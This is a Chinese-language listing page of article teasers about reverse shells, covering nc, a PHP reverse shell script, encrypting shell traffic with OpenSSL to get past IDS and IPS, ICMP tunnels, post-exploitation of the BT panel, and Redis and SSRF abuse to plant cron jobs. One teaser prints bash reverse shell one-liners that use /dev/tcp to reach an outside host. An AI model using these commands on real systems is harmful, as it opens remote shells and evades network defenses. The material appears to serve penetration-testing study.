Linux命令-nc（端口监控、文件传输、反弹shell等）
简介nc是netcat的简写，有着网络界的瑞士军刀美誉。因为它短小精悍、功能实用，被设计为一个简单、可靠的网络工具。进行TCP、UDP的连接和监听，可以将标准错误分离。参数This is nc from the netcat-openbsd package. An alternative nc is...
反弹shell脚本（php-reverse-shell）
平时经常打靶机 这里贴一个 反弹shell的脚本<?php // php-reverse-shell - A Reverse Shell implementation in PHP // Copyright (C) 2007 pentestmonkey@pentestmonkey.net //...
![[笔记]Windows安全之《一》反弹Shell](https://ucc.alicdn.com/pic/developer-ecology/sdkix663ld2go_a6c060b2726747aba5ac3d9de418e0e4.png)
[笔记]Windows安全之《一》反弹Shell
1. 正向连接和反向连接（反弹连接）1.1. 正向连接正向连接：我们攻击了一台机器，打开了该机器的一个端口，攻击者在自己的机器去连接目标机器（目标ip：目标机器端口），这是比较常规的形式，我们叫做正向连接。主动连接控制端,即客户端被控制端,即服务端在以下情况...
使用OpenSsl加密反弹shell
一、实际环境：当我们使用nc等工具进行反弹shell时，流量都是没经过加密，直接传输的，管理员很容易就能发现我们的异常流量，而且现在大部分企业内部都会有各种流量监测设备，所以在这种情况下当我们进行操作时，网络防御检测系统(IDS、IPS等)会获取到我们的通信内容并进行告警和阻止，因此需...
利用icmpsh建立icmp隧道反弹shell
首先在kali上安装icmpsh软件，软件地址https://github.com/inquisb/icmpsh.git我们可以直接用git克隆过来git clone https://github.com/inquisb/icmpsh.git然后我们还需要来安装python-impacket类库以保...
宝塔后渗透-添加用户|反弹shell
1. 背景介绍对于想拿到bt后台来说，非常的艰难：无非是通过bypass之后提权，直接拿到服务器的root权限，然后再去宝塔后台。当然，还有一种运气十分爆棚的方法：发现了bt的账密信息，可以直接登陆了bt后台（这种情况确实在实战中遇到过）所以在这里就有了两个方向ÿ...
反弹shell备忘录
反弹shell备忘录反弹shellBash TCPbash -i >& /dev/tcp/10.0.0.1/4242 0>&1 0<&196;exec 196<>/dev/tcp/10.0.0.1/4242; sh <&196 &g...
使用nc及bash进行反弹shell的简单实践
使用nc及bash进行反弹shell的简单实践什么是反弹shell？反弹shell（reverse shell），就是控制端监听在某TCP端口，被控端发起请求到该端口，并将其命令行的输入输出转到控制端。反弹shell是打开内网通道的第一步，也是权限提升过程中至关重要的一步参考百度查询到的关于shel...
网络安全——redis未授权访问漏洞写入计划任务反弹shell
今天需要的redis服务安装包已经给你们准备好了，永久有效链接：https://pan.baidu.com/s/1sBDdewFr6lQn9OoSKTFjLg 提取码：jgww这个服务还不错吧，可以给我点个关注吗？目录1.搭建redis服务1.下载redis压缩包 2.安装redis服务 ...
网络安全——利用ssrf操作内网redis写入计划任务反弹shell
都在这里面了，有需要的自取即可 链接：https://pan.baidu.com/s/1suQgMYN_Z8yOJFKgditnKQ 提取码：75cv这个服务我只能说顶级今天的内容是ssrf漏洞的利用，环境选择的是discuz含有ssrf漏洞的版本，通过该漏洞来写入redis计划...
本页面内关键词为智能算法引擎基于机器学习所生成，如有任何问题，可在页面下方点击"联系我们"与我们沟通。
